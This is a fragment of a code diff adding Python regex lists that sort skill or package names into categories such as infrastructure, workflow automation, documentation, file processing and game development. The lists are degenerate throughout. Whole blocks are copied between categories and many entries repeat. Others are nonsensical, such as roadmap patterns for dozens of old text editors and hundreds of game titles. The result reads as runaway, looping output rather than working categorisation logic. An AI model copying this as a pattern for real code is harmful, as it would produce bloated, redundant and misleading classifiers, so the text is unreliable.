+ r"^faction[-_]?system[-_]?",
+ r"^team[-_]?system[-_]?",
+ r"^squad[-_]?system[-_]?",
+ r"^party[-_]?system[-_]?",
+ r"^raid[-_]?system[-_]?",
+ r"^dungeon[-_]?system[-_]?",
+ r"^quest[-_]?system[-_]?",
+ r"^mission[-_]?system[-_]?",
+ r"^challenge[-_]?system[-_]?",
+ r"^puzzle[-_]?system[-_]?",
+ r"^riddle[-_]?system[-_]?",
+ r"^mystery[-_]?system[-_]?",
+ r"^treasure[-_]?hunt[-_]?system[-_]?",
+ r"^scavenger[-_]?hunt[-_]?system[-_]?",
+ r"^easter[-_]?egg[-_]?system[-_]?",
+ r"^secret[-_]?system[-_]?",
+ r"^hidden[-_]?system[-_]?",
+ r"^surprise[-_]?system[-_]?",
+ r"^delight[-_]?system[-_]?",
+ r"^wow[-_]?moment[-_]?",
+ r"^magic[-_]?moment[-_]?",
+ r"^peak[-_]?end[-_]?rule[-_]?",
+ r"^flow[-_]?state[-_]?",
+ r"^zone[-_]?of[-_]?proximal[-_]?development[-_]?",
+ r"^zpd[-_]?",
+ r"^scaffold[-_]?",
+ r"^tutorial[-_]?",
+ r"^guide[-_]?",
+ r"^help[-_]?",
+ r"^support[-_]?",
+ r"^faq[-_]?",
+ r"^documentation[-_]?",
+ r"^knowledge[-_]?base[-_]?",
+ r"^wiki[-_]?",
+ r"^community[-_]?forum[-_]?",
+ r"^user[-_]?forum[-_]?",
+ r"^discussion[-_]?board[-_]?",
+ r"^q[-_]?and[-_]?a[-_]?",
+ r"^stack[-_]?overflow[-_]?",
+ r"^quora[-_]?",
+ r"^reddit[-_]?",
+ r"^discord[-_]?",
+ r"^slack[-_]?",
+ r"^teams[-_]?",
+ r"^zoom[-_]?",
+ r"^meet[-_]?",
+ r"^webex[-_]?",
+ r"^gotomeeting[-_]?",
+ r"^bluejeans[-_]?",
+ r"^skype[-_]?",
+ r"^hangouts[-_]?",
+ r"^duo[-_]?",
+ r"^facetime[-_]?",
+ r"^signal[-_]?",
+ r"^telegram[-_]?",
+ r"^whatsapp[-_]?",
+ r"^wechat[-_]?",
+ r"^line[-_]?",
+ r"^kakao[-_]?",
+ r"^viber[-_]?",
+ r"^imessage[-_]?",
+ r"^sms[-_]?",
+ r"^mms[-_]?",
+ r"^push[-_]?notification[-_]?",
+ r"^in[-_]?app[-_]?message[-_]?",
+ r"^email[-_]?",
+ r"^newsletter[-_]?",
+ r"^digest[-_]?",
+ r"^alert[-_]?",
+ r"^reminder[-_]?",
+ r"^notification[-_]?",
+ r"^announcement[-_]?",
+ r"^broadcast[-_]?",
+ r"^campaign[-_]?",
+ r"^automation[-_]?",
+ r"^workflow[-_]?",
+ r"^trigger[-_]?",
+ r"^event[-_]?",
+ r"^action[-_]?",
+ r"^condition[-_]?",
+ r"^rule[-_]?",
+ r"^policy[-_]?",
+ r"^logic[-_]?",
+ r"^algorithm[-_]?",
+ r"^ml[-_]?model[-_]?",
+ r"^ai[-_]?model[-_]?",
+ r"^predictive[-_]?model[-_]?",
+ r"^forecasting[-_]?model[-_]?",
+ r"^scoring[-_]?model[-_]?",
+ r"^ranking[-_]?model[-_]?",
+ r"^recommendation[-_]?model[-_]?",
+ r"^personalization[-_]?model[-_]?",
+ r"^optimization[-_]?model[-_]?",
+ r"^simulation[-_]?model[-_]?",
+ r"^digital[-_]?twin[-_]?",
+ r"^metaverse[-_]?",
+ r"^web3[-_]?",
+ r"^nft[-_]?",
+ r"^token[-_]?",
+ r"^coin[-_]?",
+ r"^crypto[-_]?",
+ r"^blockchain[-_]?",
+ r"^defi[-_]?",
+ r"^dao[-_]?",
+ r"^smart[-_]?contract[-_]?",
+ r"^wallet[-_]?",
+ r"^exchange[-_]?",
+ r"^marketplace[-_]?",
+ r"^platform[-_]?",
+ r"^ecosystem[-_]?",
+ r"^partner[-_]?",
+ r"^integration[-_]?",
+ r"^api[-_]?",
+ r"^sdk[-_]?",
+ r"^plugin[-_]?",
+ r"^extension[-_]?",
+ r"^addon[-_]?",
+ r"^module[-_]?",
+ r"^component[-_]?",
+ r"^library[-_]?",
+ r"^framework[-_]?",
+ r"^toolkit[-_]?",
+ r"^boilerplate[-_]?",
+ r"^starter[-_]?",
+ r"^template[-_]?",
+ r"^theme[-_]?",
+ r"^skin[-_]?",
+ r"^asset[-_]?",
+ r"^resource[-_]?",
+ r"^bundle[-_]?",
+ r"^package[-_]?",
+ r"^distribution[-_]?",
+ r"^release[-_]?",
+ r"^version[-_]?",
+ r"^update[-_]?",
+ r"^patch[-_]?",
+ r"^upgrade[-_]?",
+ r"^migration[-_]?",
+ r"^deployment[-_]?",
+ r"^installation[-_]?",
+ r"^configuration[-_]?",
+ r"^setup[-_]?",
+ r"^initialization[-_]?",
+ r"^bootstrapping[-_]?",
+ r"^provisioning[-_]?",
+ r"^orchestration[-_]?",
+ r"^choreography[-_]?",
+ r"^coordination[-_]?",
+ r"^synchronization[-_]?",
+ r"^scheduling[-_]?",
+ r"^planning[-_]?",
+ r"^allocation[-_]?",
+ r"^assignment[-_]?",
+ r"^distribution[-_]?",
+ r"^balancing[-_]?",
+ r"^optimization[-_]?",
+ r"^efficiency[-_]?",
+ r"^performance[-_]?",
+ r"^throughput[-_]?",
+ r"^latency[-_]?",
+ r"^response[-_]?time[-_]?",
+ r"^uptime[-_]?",
+ r"^availability[-_]?",
+ r"^reliability[-_]?",
+ r"^durability[-_]?",
+ r"^resilience[-_]?",
+ r"^fault[-_]?tolerance[-_]?",
+ r"^graceful[-_]?degradation[-_]?",
+ r"^self[-_]?healing[-_]?",
+ r"^auto[-_]?recovery[-_]?",
+ r"^disaster[-_]?recovery[-_]?",
+ r"^business[-_]?continuity[-_]?",
+ r"^backup[-_]?",
+ r"^restore[-_]?",
+ r"^replication[-_]?",
+ r"^failover[-_]?",
+ r"^redundancy[-_]?",
+ r"^high[-_]?availability[-_]?",
+ r"^load[-_]?balancing[-_]?",
+ r"^traffic[-_]?management[-_]?",
+ r"^rate[-_]?limiting[-_]?",
+ r"^throttling[-_]?",
+ r"^circuit[-_]?breaker[-_]?",
+ r"^bulkhead[-_]?",
+ r"^timeout[-_]?",
+ r"^retry[-_]?",
+ r"^backoff[-_]?",
+ r"^jitter[-_]?",
+ r"^hedging[-_]?",
+ r"^caching[-_]?",
+ r"^prefetching[-_]?",
+ r"^lazy[-_]?loading[-_]?",
+ r"^eager[-_]?loading[-_]?",
+ r"^pagination[-_]?",
+ r"^infinite[-_]?scroll[-_]?",
+ r"^virtual[-_]?scroll[-_]?",
+ r"^windowing[-_]?",
+ r"^list[-_]?virtualization[-_]?",
+ r"^dom[-_]?recycling[-_]?",
+ r"^component[-_]?pooling[-_]?",
+ r"^object[-_]?pooling[-_]?",
+ r"^connection[-_]?pooling[-_]?",
+ r"^thread[-_]?pooling[-_]?",
+ r"^process[-_]?pooling[-_]?",
+ r"^memory[-_]?pooling[-_]?",
+ r"^buffer[-_]?pooling[-_]?",
+ r"^resource[-_]?pooling[-_]?",
+ r"^worker[-_]?pool[-_]?",
+ r"^pool[-_]?",
+ ]),
+
+ # Infrastructure & SRE
+ ("infrastructure-sre", [
+ r"^monitoring[-_]?",
+ r"^observability[-_]?",
+ r"^logging[-_]?",
+ r"^tracing[-_]?",
+ r"^metrics[-_]?",
+ r"^alerting[-_]?",
+ r"^incident[-_]?",
+ r"^sre[-_]?",
+ r"^performance[-_]?",
+ r"^reliability[-_]?",
+ r"^availability[-_]?",
+ r"^scalability[-_]?",
+ r"^capacity[-_]?",
+ r"^planning[-_]?",
+ r"^tuning[-_]?",
+ r"^optimization[-_]?",
+ r"^profiling[-_]?",
+ r"^benchmarking[-_]?",
+ r"^load[-_]?testing[-_]?",
+ r"^stress[-_]?testing[-_]?",
+ r"^chaos[-_]?engineering[-_]?",
+ r"^disaster[-_]?recovery[-_]?",
+ r"^backup[-_]?",
+ r"^restore[-_]?",
+ r"^replication[-_]?",
+ r"^failover[-_]?",
+ r"^redundancy[-_]?",
+ r"^high[-_]?availability[-_]?",
+ r"^load[-_]?balancing[-_]?",
+ r"^traffic[-_]?management[-_]?",
+ r"^rate[-_]?limiting[-_]?",
+ r"^throttling[-_]?",
+ r"^circuit[-_]?breaker[-_]?",
+ r"^bulkhead[-_]?",
+ r"^timeout[-_]?",
+ r"^retry[-_]?",
+ r"^backoff[-_]?",
+ r"^jitter[-_]?",
+ r"^hedging[-_]?",
+ r"^caching[-_]?",
+ r"^prefetching[-_]?",
+ r"^lazy[-_]?loading[-_]?",
+ r"^eager[-_]?loading[-_]?",
+ r"^pagination[-_]?",
+ r"^infinite[-_]?scroll[-_]?",
+ r"^virtual[-_]?scroll[-_]?",
+ r"^windowing[-_]?",
+ r"^list[-_]?virtualization[-_]?",
+ r"^dom[-_]?recycling[-_]?",
+ r"^component[-_]?pooling[-_]?",
+ r"^object[-_]?pooling[-_]?",
+ r"^connection[-_]?pooling[-_]?",
+ r"^thread[-_]?pooling[-_]?",
+ r"^process[-_]?pooling[-_]?",
+ r"^memory[-_]?pooling[-_]?",
+ r"^buffer[-_]?pooling[-_]?",
+ r"^resource[-_]?pooling[-_]?",
+ r"^worker[-_]?pool[-_]?",
+ ]),
+
+ # Workflow & Automation
+ ("workflow-automation", [
+ r"^workflow[-_]?",
+ r"^automation[-_]?",
+ r"^n8n[-_]?",
+ r"^zapier[-_]?",
+ r"^make[-_]?",
+ r"^integromat[-_]?",
+ r"^ifttt[-_]?",
+ r"^huginn[-_]?",
+ r"^node[-_]?red[-_]?",
+ r"^trigger[-_]?",
+ r"^action[-_]?",
+ r"^condition[-_]?",
+ r"^rule[-_]?",
+ r"^policy[-_]?",
+ r"^logic[-_]?",
+ r"^algorithm[-_]?",
+ r"^orchestration[-_]?",
+ r"^choreography[-_]?",
+ r"^coordination[-_]?",
+ r"^synchronization[-_]?",
+ r"^scheduling[-_]?",
+ r"^planning[-_]?",
+ r"^allocation[-_]?",
+ r"^assignment[-_]?",
+ r"^distribution[-_]?",
+ r"^balancing[-_]?",
+ r"^optimization[-_]?",
+ r"^efficiency[-_]?",
+ r"^performance[-_]?",
+ r"^throughput[-_]?",
+ r"^latency[-_]?",
+ r"^response[-_]?time[-_]?",
+ r"^uptime[-_]?",
+ r"^availability[-_]?",
+ r"^reliability[-_]?",
+ r"^durability[-_]?",
+ r"^resilience[-_]?",
+ r"^fault[-_]?tolerance[-_]?",
+ r"^graceful[-_]?degradation[-_]?",
+ r"^self[-_]?healing[-_]?",
+ r"^auto[-_]?recovery[-_]?",
+ r"^disaster[-_]?recovery[-_]?",
+ r"^business[-_]?continuity[-_]?",
+ r"^backup[-_]?",
+ r"^restore[-_]?",
+ r"^replication[-_]?",
+ r"^failover[-_]?",
+ r"^redundancy[-_]?",
+ r"^high[-_]?availability[-_]?",
+ r"^load[-_]?balancing[-_]?",
+ r"^traffic[-_]?management[-_]?",
+ r"^rate[-_]?limiting[-_]?",
+ r"^throttling[-_]?",
+ r"^circuit[-_]?breaker[-_]?",
+ r"^bulkhead[-_]?",
+ r"^timeout[-_]?",
+ r"^retry[-_]?",
+ r"^backoff[-_]?",
+ r"^jitter[-_]?",
+ r"^hedging[-_]?",
+ r"^caching[-_]?",
+ r"^prefetching[-_]?",
+ r"^lazy[-_]?loading[-_]?",
+ r"^eager[-_]?loading[-_]?",
+ r"^pagination[-_]?",
+ r"^infinite[-_]?scroll[-_]?",
+ r"^virtual[-_]?scroll[-_]?",
+ r"^windowing[-_]?",
+ r"^list[-_]?virtualization[-_]?",
+ r"^dom[-_]?recycling[-_]?",
+ r"^component[-_]?pooling[-_]?",
+ r"^object[-_]?pooling[-_]?",
+ r"^connection[-_]?pooling[-_]?",
+ r"^thread[-_]?pooling[-_]?",
+ r"^process[-_]?pooling[-_]?",
+ r"^memory[-_]?pooling[-_]?",
+ r"^buffer[-_]?pooling[-_]?",
+ r"^resource[-_]?pooling[-_]?",
+ r"^worker[-_]?pool[-_]?",
+ ]),
+
+ # Documentation & Content
+ ("documentation-content", [
+ r"^doc[-_]?",
+ r"^documentation[-_]?",
+ r"^writing[-_]?",
+ r"^readme[-_]?",
+ r"^presentation[-_]?",
+ r"^spreadsheet[-_]?",
+ r"^pdf[-_]?",
+ r"^docx[-_]?",
+ r"^xlsx[-_]?",
+ r"^pptx[-_]?",
+ r"^ooxml[-_]?",
+ r"^openxml[-_]?",
+ r"^markdown[-_]?",
+ r"^md[-_]?",
+ r"^rst[-_]?",
+ r"^asciidoc[-_]?",
+ r"^tex[-_]?",
+ r"^latex[-_]?",
+ r"^bibtex[-_]?",
+ r"^biblatex[-_]?",
+ r"^cs[-_]?",
+ r"^csl[-_]?",
+ r"^citation[-_]?style[-_]?language[-_]?",
+ r"^zotero[-_]?",
+ r"^mendeley[-_]?",
+ r"^endnote[-_]?",
+ r"^refworks[-_]?",
+ r"^citavi[-_]?",
+ r"^papers[-_]?",
+ r"^readcube[-_]?",
+ r"^paperpile[-_]?",
+ r"^jabref[-_]?",
+ r"^docear[-_]?",
+ r"^mindmap[-_]?",
+ r"^concept[-_]?map[-_]?",
+ r"^knowledge[-_]?map[-_]?",
+ r"^argument[-_]?map[-_]?",
+ r"^debate[-_]?map[-_]?",
+ r"^dialogue[-_]?map[-_]?",
+ r"^issue[-_]?map[-_]?",
+ r"^stakeholder[-_]?map[-_]?",
+ r"^value[-_]?map[-_]?",
+ r"^strategy[-_]?map[-_]?",
+ r"^balanced[-_]?scorecard[-_]?",
+ r"^strategy[-_]?canvas[-_]?",
+ r"^business[-_]?model[-_]?canvas[-_]?",
+ r"^lean[-_]?canvas[-_]?",
+ r"^value[-_]?proposition[-_]?canvas[-_]?",
+ r"^product[-_]?vision[-_]?board[-_]?",
+ r"^goal[-_]?oriented[-_]?roadmap[-_]?",
+ r"^now[-_]?next[-_]?later[-_]?roadmap[-_]?",
+ r"^theme[-_]?based[-_]?roadmap[-_]?",
+ r"^outcome[-_]?based[-_]?roadmap[-_]?",
+ r"^feature[-_]?based[-_]?roadmap[-_]?",
+ r"^technology[-_]?roadmap[-_]?",
+ r"^architectural[-_]?roadmap[-_]?",
+ r"^capability[-_]?roadmap[-_]?",
+ r"^strategy[-_]?roadmap[-_]?",
+ r"^product[-_]?roadmap[-_]?",
+ r"^portfolio[-_]?roadmap[-_]?",
+ r"^solution[-_]?roadmap[-_]?",
+ r"^program[-_]?roadmap[-_]?",
+ r"^project[-_]?roadmap[-_]?",
+ r"^release[-_]?roadmap[-_]?",
+ r"^launch[-_]?roadmap[-_]?",
+ r"^beta[-_]?roadmap[-_]?",
+ r"^alpha[-_]?roadmap[-_]?",
+ r"^mvp[-_]?roadmap[-_]?",
+ r"^prototype[-_]?roadmap[-_]?",
+ r"^poc[-_]?roadmap[-_]?",
+ r"^pilot[-_]?roadmap[-_]?",
+ r"^experiment[-_]?roadmap[-_]?",
+ r"^research[-_]?roadmap[-_]?",
+ r"^development[-_]?roadmap[-_]?",
+ r"^engineering[-_]?roadmap[-_]?",
+ r"^design[-_]?roadmap[-_]?",
+ r"^ux[-_]?roadmap[-_]?",
+ r"^ui[-_]?roadmap[-_]?",
+ r"^frontend[-_]?roadmap[-_]?",
+ r"^backend[-_]?roadmap[-_]?",
+ r"^fullstack[-_]?roadmap[-_]?",
+ r"^mobile[-_]?roadmap[-_]?",
+ r"^ios[-_]?roadmap[-_]?",
+ r"^android[-_]?roadmap[-_]?",
+ r"^react[-_]?native[-_]?roadmap[-_]?",
+ r"^flutter[-_]?roadmap[-_]?",
+ r"^desktop[-_]?roadmap[-_]?",
+ r"^electron[-_]?roadmap[-_]?",
+ r"^tauri[-_]?roadmap[-_]?",
+ r"^wails[-_]?roadmap[-_]?",
+ r"^qt[-_]?roadmap[-_]?",
+ r"^gtk[-_]?roadmap[-_]?",
+ r"^wx[-_]?roadmap[-_]?",
+ r"^javafx[-_]?roadmap[-_]?",
+ r"^swing[-_]?roadmap[-_]?",
+ r"^awt[-_]?roadmap[-_]?",
+ r"^swt[-_]?roadmap[-_]?",
+ r"^jface[-_]?roadmap[-_]?",
+ r"^rcp[-_]?roadmap[-_]?",
+ r"^eclipse[-_]?roadmap[-_]?",
+ r"^netbeans[-_]?roadmap[-_]?",
+ r"^intellij[-_]?roadmap[-_]?",
+ r"^android[-_]?studio[-_]?roadmap[-_]?",
+ r"^xcode[-_]?roadmap[-_]?",
+ r"^visual[-_]?studio[-_]?roadmap[-_]?",
+ r"^vscode[-_]?roadmap[-_]?",
+ r"^sublime[-_]?roadmap[-_]?",
+ r"^atom[-_]?roadmap[-_]?",
+ r"^brackets[-_]?roadmap[-_]?",
+ r"^notepad\+\+[-_]?roadmap[-_]?",
+ r"^vim[-_]?roadmap[-_]?",
+ r"^neovim[-_]?roadmap[-_]?",
+ r"^emacs[-_]?roadmap[-_]?",
+ r"^nano[-_]?roadmap[-_]?",
+ r"^micro[-_]?roadmap[-_]?",
+ r"^helix[-_]?roadmap[-_]?",
+ r"^kakoune[-_]?roadmap[-_]?",
+ r"^acme[-_]?roadmap[-_]?",
+ r"^sam[-_]?roadmap[-_]?",
+ r"^ed[-_]?roadmap[-_]?",
+ r"^ex[-_]?roadmap[-_]?",
+ r"^vi[-_]?roadmap[-_]?",
+ r"^edlin[-_]?roadmap[-_]?",
+ r"^edit[-_]?roadmap[-_]?",
+ r"^ee[-_]?roadmap[-_]?",
+ r"^jed[-_]?roadmap[-_]?",
+ r"^joe[-_]?roadmap[-_]?",
+ r"^jove[-_]?roadmap[-_]?",
+ r"^levee[-_]?roadmap[-_]?",
+ r"^mg[-_]?roadmap[-_]?",
+ r"^pico[-_]?roadmap[-_]?",
+ r"^pine[-_]?roadmap[-_]?",
+ r"^teco[-_]?roadmap[-_]?",
+ r"^tpu[-_]?roadmap[-_]?",
+ r"^emacs[-_]?roadmap[-_]?",
+ r"^zile[-_]?roadmap[-_]?",
+ r"^epsilon[-_]?roadmap[-_]?",
+ r"^jmacs[-_]?roadmap[-_]?",
+ r"^uemacs[-_]?roadmap[-_]?",
+ r"^mg[-_]?roadmap[-_]?",
+ r"^zile[-_]?roadmap[-_]?",
+ ]),
+
+ # Meta-skills (about skills themselves)
+ ("meta", [
+ r"^skill[-_]?creator",
+ r"^skill[-_]?developer",
+ r"^writing[-_]?skill",
+ r"^meta[-_]?",
+ r"^claude[-_]?code[-_]?guide",
+ r"^cursor[-_]?",
+ r"^create[-_]?rule",
+ r"^create[-_]?skill",
+ r"^update[-_]?cursor",
+ ]),
+
+ # File processing
+ ("file-processing", [
+ r"^docx[-_]?",
+ r"^xlsx[-_]?",
+ r"^pptx[-_]?",
+ r"^pdf[-_]?",
+ r"^csv[-_]?",
+ r"^tsv[-_]?",
+ r"^json[-_]?processing",
+ r"^xml[-_]?processing",
+ r"^yaml[-_]?processing",
+ r"^toml[-_]?processing",
+ r"^ini[-_]?processing",
+ r"^config[-_]?processing",
+ r"^log[-_]?processing",
+ r"^text[-_]?processing",
+ r"^image[-_]?processing",
+ r"^video[-_]?processing",
+ r"^audio[-_]?processing",
+ r"^media[-_]?processing",
+ r"^document[-_]?processing",
+ r"^spreadsheet[-_]?processing",
+ r"^presentation[-_]?processing",
+ r"^ooxml[-_]?",
+ r"^openxml[-_]?",
+ r"^office[-_]?automation[-_]?",
+ ]),
+
+ # Game Development
+ ("game-development", [
+ r"^game[-_]?",
+ r"^unity[-_]?",
+ r"^unreal[-_]?",
+ r"^godot[-_]?",
+ r"^bevy[-_]?",
+ r"^amethyst[-_]?",
+ r"^piston[-_]?",
+ r"^ggez[-_]?",
+ r"^macroquad[-_]?",
+ r"^miniquad[-_]?",
+ r"^raylib[-_]?",
+ r"^sdl[-_]?",
+ r"^sfml[-_]?",
+ r"^allegro[-_]?",
+ r"^cocos2d[-_]?",
+ r"^love[-_]?",
+ r"^defold[-_]?",
+ r"^gamemaker[-_]?",
+ r"^construct[-_]?",
+ r"^rpg[-_]?maker[-_]?",
+ r"^renpy[-_]?",
+ r"^twine[-_]?",
+ r"^ink[-_]?",
+ r"^harlowe[-_]?",
+ r"^sugar[-_]?cube[-_]?",
+ r"^bitsy[-_]?",
+ r"^rpg[-_]?",
+ r"^roguelike[-_]?",
+ r"^platformer[-_]?",
+ r"^shooter[-_]?",
+ r"^fps[-_]?",
+ r"^tps[-_]?",
+ r"^rts[-_]?",
+ r"^moba[-_]?",
+ r"^mmo[-_]?",
+ r"^mmorpg[-_]?",
+ r"^puzzle[-_]?",
+ r"^strategy[-_]?",
+ r"^simulation[-_]?",
+ r"^sandbox[-_]?",
+ r"^survival[-_]?",
+ r"^horror[-_]?",
+ r"^adventure[-_]?",
+ r"^action[-_]?",
+ r"^racing[-_]?",
+ r"^sports[-_]?",
+ r"^fighting[-_]?",
+ r"^beat[-_]?em[-_]?up[-_]?",
+ r"^stealth[-_]?",
+ r"^metroidvania[-_]?",
+ r"^soulslike[-_]?",
+ r"^roguelite[-_]?",
+ r"^deckbuilder[-_]?",
+ r"^tower[-_]?defense[-_]?",
+ r"^idle[-_]?",
+ r"^clicker[-_]?",
+ r"^tycoon[-_]?",
+ r"^management[-_]?",
+ r"^city[-_]?builder[-_]?",
+ r"^colony[-_]?sim[-_]?",
+ r"^dwarf[-_]?fortress[-_]?",
+ r"^rimworld[-_]?",
+ r"^factorio[-_]?",
+ r"^satisfactory[-_]?",
+ r"^oxygen[-_]?not[-_]?included[-_]?",
+ r"^oni[-_]?",
+ r"^prison[-_]?architect[-_]?",
+ r"^two[-_]?point[-_]?",
+ r"^theme[-_]?hospital[-_]?",
+ r"^rollercoaster[-_]?tycoon[-_]?",
+ r"^planet[-_]?coaster[-_]?",
+ r"^zoo[-_]?tycoon[-_]?",
+ r"^planet[-_]?zoo[-_]?",
+ r"^jurassic[-_]?world[-_]?",
+ r"^evolution[-_]?",
+ r"^stellaris[-_]?",
+ r"^crusader[-_]?kings[-_]?",
+ r"^eu[-_]?",
+ r"^hearts[-_]?of[-_]?iron[-_]?",
+ r"^victoria[-_]?",
+ r"^imperator[-_]?",
+ r"^ck[-_]?",
+ r"^hoi[-_]?",
+ r"^vic[-_]?",
+ r"^total[-_]?war[-_]?",
+ r"^civilization[-_]?",
+ r"^civ[-_]?",
+ r"^alpha[-_]?centauri[-_]?",
+ r"^beyond[-_]?earth[-_]?",
+ r"^humankind[-_]?",
+ r"^old[-_]?world[-_]?",
+ r"^fallen[-_]?enchantress[-_]?",
+ r"^elemental[-_]?",
+ r"^galactic[-_]?civilizations[-_]?",
+ r"^endless[-_]?",
+ r"^endless[-_]?legend[-_]?",
+ r"^endless[-_]?space[-_]?",
+ r"^dungeon[-_]?of[-_]?the[-_]?endless[-_]?",
+ r"^endless[-_]?dungeon[-_]?",
+ r"^rogue[-_]?legacy[-_]?",
+ r"^dead[-_]?cells[-_]?",
+ r"^hades[-_]?",
+ r"^enter[-_]?the[-_]?gungeon[-_]?",
+ r"^the[-_]?binding[-_]?of[-_]?isaac[-_]?",
+ r"^nuclear[-_]?throne[-_]?",
+ r"^risk[-_]?of[-_]?rain[-_]?",
+ r"^slay[-_]?the[-_]?spire[-_]?",
+ r"^monster[-_]?train[-_]?",
+ r"^griftlands[-_]?",
+ r"^inscryption[-_]?",
+ r"^ring[-_]?of[-_]?pain[-_]?",
+ r"^hand[-_]?of[-_]?fate[-_]?",
+ r"^dream[-_]?quest[-_]?",
+ r"^card[-_]?crawl[-_]?",
+ r"^solitairica[-_]?",
+ r"^meteorfall[-_]?",
+ r"^night[-_]?of[-_]?the[-_]?full[-_]?moon[-_]?",
+ r"^dark[-_]?deity[-_]?",
+ r"^fights[-_]?in[-_]?tight[-_]?spaces[-_]?",
+ r"^neoverse[-_]?",
+ r"^nowhere[-_]?prophet[-_]?",
+ r"^deeprock[-_]?galactic[-_]?",
+ r"^valheim[-_]?",
+ r"^terraria[-_]?",
+ r"^starbound[-_]?",
+ r"^minecraft[-_]?",
+ r"^roblox[-_]?",
+ r"^fortnite[-_]?",
+ r"^pubg[-_]?",
+ r"^apex[-_]?legends[-_]?",
+ r"^valorant[-_]?",
+ r"^counter[-_]?strike[-_]?",
+ r"^cs[-_]?",
+ r"^overwatch[-_]?",
+ r"^team[-_]?fortress[-_]?",
+ r"^tf[-_]?",
+ r"^paladins[-_]?",
+ r"^realm[-_]?royale[-_]?",
+ r"^spellbreak[-_]?",
+ r"^crucible[-_]?",
+ r"^bleeding[-_]?edge[-_]?",
+ r"^gigantic[-_]?",
+ r"^battlerite[-_]?",
+ r"^battleroyale[-_]?",
+ r"^h1z1[-_]?",
+ r"^dayz[-_]?",
+ r"^ark[-_]?",
+ r"^rust[-_]?",
+ r"^conan[-_]?exiles[-_]?",
+ r"^atlas[-_]?",
+ r"^sea[-_]?of[-_]?thieves[-_]?",
+ r"^no[-_]?mans[-_]?sky[-_]?",
+ r"^elite[-_]?dangerous[-_]?",
+ r"^eve[-_]?online[-_]?",
+ r"^star[-_]?citizen[-_]?",
+ r"^dual[-_]?universe[-_]?",
+ r"^space[-_]?engineers[-_]?",
+ r"^empyrion[-_]?",
+ r"^starship[-_]?evo[-_]?",
+ r"^avorion[-_]?",
+ r"^reassembly[-_]?",
+ r"^cosmoteer[-_]?",
+ r"^star[-_]?valley[-_]?",
+ r"^rimworld[-_]?",
+ r"^dwarf[-_]?fortress[-_]?",
+ r"^caves[-_]?of[-_]?qud[-_]?",
+ r"^unreal[-_]?world[-_]?",
+ r"^cataclysm[-_]?dda[-_]?",
+ r"^cdda[-_]?",
+ r"^project[-_]?zomboid[-_]?",
+ r"^7[-_]?days[-_]?to[-_]?die[-_]?",
+ r"^state[-_]?of[-_]?decay[-_]?",
+ r"^dayz[-_]?",
+ r"^scum[-_]?",
+ r"^last[-_]?oasis[-_]?",
+ r"^icarus[-_]?",
+ r"^green[-_]?hell[-_]?",
+ r"^the[-_]?forest[-_]?",
+ r"^sons[-_]?of[-_]?the[-_]?forest[-_]?",
+ r"^stranded[-_]?deep[-_]?",
+ r"^raft[-_]?",
+ r"^subnautica[-_]?",
+ r"^below[-_]?zero[-_]?",
+ r"^breathedge[-_]?",
+ r"^osiris[-_]?new[-_]?dawn[-_]?",
+ r"^astroneer[-_]?",
+ r"^planet[-_]?nomads[-_]?",
+ r"^empyrion[-_]?",
+ r"^space[-_]?engineers[-_]?",
+ r"^dual[-_]?universe[-_]?",
+ r"^starbase[-_]?",
+ r"^mar[-_]?auders[-_]?",
+ r"^escape[-_]?from[-_]?tarkov[-_]?",
+ r"^eft[-_]?",
+ r"^hunt[-_]?showdown[-_]?",
+ r"^insurgency[-_]?",
+ r"^squad[-_]?",
+ r"^arma[-_]?",
+ r"^dayz[-_]?",
+ r"^pubg[-_]?",
+ r"^fortnite[-_]?",
+ r"^apex[-_]?legends[-_]?",
+ r"^valorant[-_]?",
+ r"^csgo[-_]?",
+ r"^counter[-_]?strike[-_]?",
+ r"^rainbow[-_]?six[-_]?",
+ r"^siege[-_]?",
+ r"^cod[-_]?",
+ r"^call[-_]?of[-_]?duty[-_]?",
+ r"^battlefield[-_]?",
+ r"^medal[-_]?of[-_]?honor[-_]?",
+ r"^sniper[-_]?elite[-_]?",
+ r"^ghost[-_]?recon[-_]?",
+ r"^the[-_]?division[-_]?",
+ r"^destiny[-_]?",
+ r"^warframe[-_]?",
+ r"^borderlands[-_]?",
+ r"^outriders[-_]?",
+ r"^anthem[-_]?",
+ r"^division[-_]?",
+ r"^wildlands[-_]?",
+ r"^breakpoint[-_]?",
+ r"^far[-_]?cry[-_]?",
+ r"^crysis[-_]?",
+ r"^farcry[-_]?",
+ r"^assassins[-_]?creed[-_]?",
+ r"^watch[-_]?dogs[-_]?",
+ r"^gta[-_]?",
+ r"^red[-_]?dead[-_]?redemption[-_]?",
+ r"^rdr[-_]?",
+ r"^witcher[-_]?",
+ r"^cyberpunk[-_]?",
+ r"^skyrim[-_]?",
+ r"^elder[-_]?scrolls[-_]?",
+ r"^fallout[-_]?",
+ r"^baldurs[-_]?gate[-_]?",
+ r"^bg[-_]?",
+ r"^divinity[-_]?",
+ r"^dos[-_]?",
+ r"^dos2[-_]?",
+ r"^pillars[-_]?of[-_]?eternity[-_]?",
+ r"^poe[-_]?",
+ r"^path[-_]?of[-_]?exile[-_]?",
+ r"^pathofexile[-_]?",
+ r"^poe[-_]?",
+ r"^diablo[-_]?",
+ r"^torchlight[-_]?",
+ r"^grim[-_]?dawn[-_]?",
+ r"^wolcen[-_]?",
+ r"^last[-_]?epoch[-_]?",
+ r"^chronicon[-_]?",
+ r"^hero[-_]?siege[-_]?",
+ r"^victor[-_]?vran[-_]?",
+ r"^van[-_]?helsing[-_]?",
+ r"^incredible[-_]?adventures[-_]?",
+ r"^vanhelsing[-_]?",
+ r"^warhammer[-_]?",
+ r"^vermintide[-_]?",
+ r"^darktide[-_]?",
+ r"^total[-_]?war[-_]?warhammer[-_]?",
+ r"^tw[-_]?wh[-_]?",
+ r"^warhammer[-_]?40k[-_]?",
+ r"^mechanicus[-_]?",
+ r"^battlesector[-_]?",
+ r"^sanctus[-_]?reach[-_]?",
+ r"^gladius[-_]?",
+ r"^rel[-_]?ic[-_]?",
+ r"^dawn[-_]?of[-_]?war[-_]?",
+ r"^dow[-_]?",
+ r"^company[-_]?of[-_]?heroes[-_]?",
+ r"^coh[-_]?",
+ r"^age[-_]?of[-_]?empires[-_]?",
+ r"^aoe[-_]?",
+ r"^starcraft[-_]?",
+ r"^warcraft[-_]?",
+ r"^command[-_]?and[-_]?conquer[-_]?",
+ r"^cnc[-_]?",
+ r"^red[-_]?alert[-_]?",
+ r"^generals[-_]?",
+ r"^tiberian[-_]?",
+ r"^kane[-_]?",
+ r"^act[-_]?of[-_]?war[-_]?",
+ r"^direct[-_]?action[-_]?",
+ r"^high[-_]?treason[-_]?",
